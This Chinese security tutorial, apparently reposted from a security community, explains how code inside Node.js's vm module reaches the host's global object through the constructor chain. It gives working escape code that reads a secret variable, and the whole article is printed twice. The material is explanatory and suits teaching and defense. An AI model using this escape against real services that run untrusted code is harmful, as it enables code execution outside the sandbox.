免费发布信息
当前位置:APP交易 > 热点资讯 > 资产交易 >  如何在Node.js中逃逸vm沙箱

如何在Node.js中逃逸vm沙箱

发表时间:2021-07-09 16:59:23  来源:红帽社区  浏览:次   【】【】【
红帽社区是一个垂直网络安全社区,融合“红帽先锋”正能量精神,每日分享最新安全资讯,提供安全问答、靶场、众测、漏洞库等功能,是网络安全爱好者学习、交流的优质社区。

vm基本用法

vm模块可在V8虚拟机上下文中编译和运行nodejs代码。按照官方文档的说法,vm不是一个安全的机制,并不适合用来运行不受信任的代码。

vm的一个常见用法是做上下文隔离:

const vm = require('vm') x = 1 context = {x: 2} vm.createContext(context) const code = 'x+=2;' vm.runInContext(code, context) console.log(x) // 1 console.log(context.x) // 4

context为vm提供了一个单独的上下文,与全局变量是隔离的。
看上去,在vm中,我们无法读写全局环境global中的变量。但事实并非如此,下面我们就来看看如何逃逸vm,获得global对象。

在此之前,先来看几个基本概念。

js中的几个关键字

global

global是Node.js中的全局对象,所有全局变量(除了global本身以外)都是 global 对象的属性。

constructor

对象的constructor属性返回创建实例对象的构造函数的引用。

class Dog { constructor(name) { this.name = name } } d = new Dog('d') console.log(d.constructor.toString()) /* output: class Dog { constructor(name) { this.name = name } } */

Function

Function构造函数用于创建一个Function对象,也就是说用这个构造函数可以动态的创建函数。每个JavaScript函数实际上都是一个Function对象。

Function的最后一个参数是函数体,其余参数是函数参数。

const sum = new Function('a', 'b', 'return a + b'); console.log(sum(2, 6));

如果不把生成的函数对象赋值给变量,也可以直接调用匿名函数:

console.log(Function('a', 'b', 'return a + b').toString()) /* function anonymous(a,b ) { return a + b } */ console.log(Function('a', 'b', 'return a + b')(1, 2)) // 3

Object

Object构造函数用于创建一个对象,JavaScript的所有其他对象都继承自Object对象。

this

this表示当前执行代码的环境对象。this在不同场合下有不同的值,取决于使用方式。

在全局执行环境中(在任何函数体外部)this 都指向全局对象;

在函数内部,this的值取决于函数被调用的方式

例如下面这种简单的情形,非严格模式下,this在函数中,并且this的值不是由该调用设置的,所以this的值默认指向全局对象:

function f1(){ return this; } //在浏览器中: f1() === window; //在浏览器中,全局对象是window //在Node中: f1() === global;

如何逃逸vm沙箱

现在我们来看如何一步步在vm中获取到global对象。
上文说道,this在满足条件时指向的是global,我们先来看看vm中的this,

const vm = require('vm') global.secret = 'sss' context = {'x': 1} vm.createContext(context) console.log(vm.runInContext("this", context)) // { x: 1 }

this指向了设置的context。而这个context对象是在vm外部设置的,那么它的构造函数就是是在vm外部的,这就给vm和全局global之间打开了一个通道。

console.log(context.constructor.constructor('return this')()) // global

context.constructor获取到的是Object(),因为所有对象都继承自它;context.constructor.constructor获取到的是Function(),因为Object()也是一个Function的对象。

再用Function()动态创建一个匿名函数,获取this的值,this指向的就是global对象。

而在vm中,this指向的就是context,只需要把context换成this即可:

console.log(vm.runInContext("this.constructor.constructor('return this')()", context)) // global Object console.log(vm.runInContext("this.constructor.constructor('return this.secret')()", context)) // sss

这样我们就绕过了vm沙箱,获取到了global对象。

vm基本用法

vm模块可在V8虚拟机上下文中编译和运行nodejs代码。按照官方文档的说法,vm不是一个安全的机制,并不适合用来运行不受信任的代码。

vm的一个常见用法是做上下文隔离:

const vm = require('vm') x = 1 context = {x: 2} vm.createContext(context) const code = 'x+=2;' vm.runInContext(code, context) console.log(x) // 1 console.log(context.x) // 4

context为vm提供了一个单独的上下文,与全局变量是隔离的。
看上去,在vm中,我们无法读写全局环境global中的变量。但事实并非如此,下面我们就来看看如何逃逸vm,获得global对象。

在此之前,先来看几个基本概念。

js中的几个关键字

global

global是Node.js中的全局对象,所有全局变量(除了global本身以外)都是 global 对象的属性。

constructor

对象的constructor属性返回创建实例对象的构造函数的引用。

class Dog { constructor(name) { this.name = name } } d = new Dog('d') console.log(d.constructor.toString()) /* output: class Dog { constructor(name) { this.name = name } } */

Function

Function构造函数用于创建一个Function对象,也就是说用这个构造函数可以动态的创建函数。每个JavaScript函数实际上都是一个Function对象。

Function的最后一个参数是函数体,其余参数是函数参数。

const sum = new Function('a', 'b', 'return a + b'); console.log(sum(2, 6));

如果不把生成的函数对象赋值给变量,也可以直接调用匿名函数:

console.log(Function('a', 'b', 'return a + b').toString()) /* function anonymous(a,b ) { return a + b } */ console.log(Function('a', 'b', 'return a + b')(1, 2)) // 3

Object

Object构造函数用于创建一个对象,JavaScript的所有其他对象都继承自Object对象。

this

this表示当前执行代码的环境对象。this在不同场合下有不同的值,取决于使用方式。

在全局执行环境中(在任何函数体外部)this 都指向全局对象;

在函数内部,this的值取决于函数被调用的方式

例如下面这种简单的情形,非严格模式下,this在函数中,并且this的值不是由该调用设置的,所以this的值默认指向全局对象:

function f1(){ return this; } //在浏览器中: f1() === window; //在浏览器中,全局对象是window //在Node中: f1() === global;

如何逃逸vm沙箱

现在我们来看如何一步步在vm中获取到global对象。
上文说道,this在满足条件时指向的是global,我们先来看看vm中的this,

const vm = require('vm') global.secret = 'sss' context = {'x': 1} vm.createContext(context) console.log(vm.runInContext("this", context)) // { x: 1 }

this指向了设置的context。而这个context对象是在vm外部设置的,那么它的构造函数就是是在vm外部的,这就给vm和全局global之间打开了一个通道。

console.log(context.constructor.constructor('return this')()) // global

context.constructor获取到的是Object(),因为所有对象都继承自它;context.constructor.constructor获取到的是Function(),因为Object()也是一个Function的对象。

再用Function()动态创建一个匿名函数,获取this的值,this指向的就是global对象。

而在vm中,this指向的就是context,只需要把context换成this即可:

console.log(vm.runInContext("this.constructor.constructor('return this')()", context)) // global Object console.log(vm.runInContext("this.constructor.constructor('return this.secret')()", context)) // sss

这样我们就绕过了vm沙箱,获取到了global对象。

责任编辑:
声明:本平台发布的内容(图片、视频和文字)以原创、转载和分享网络内容为主,如果涉及侵权请尽快告知,我们将会在第一时间删除。文章观点不代表本网站立场,如需处理请联系客服。

德品

1377 678 6470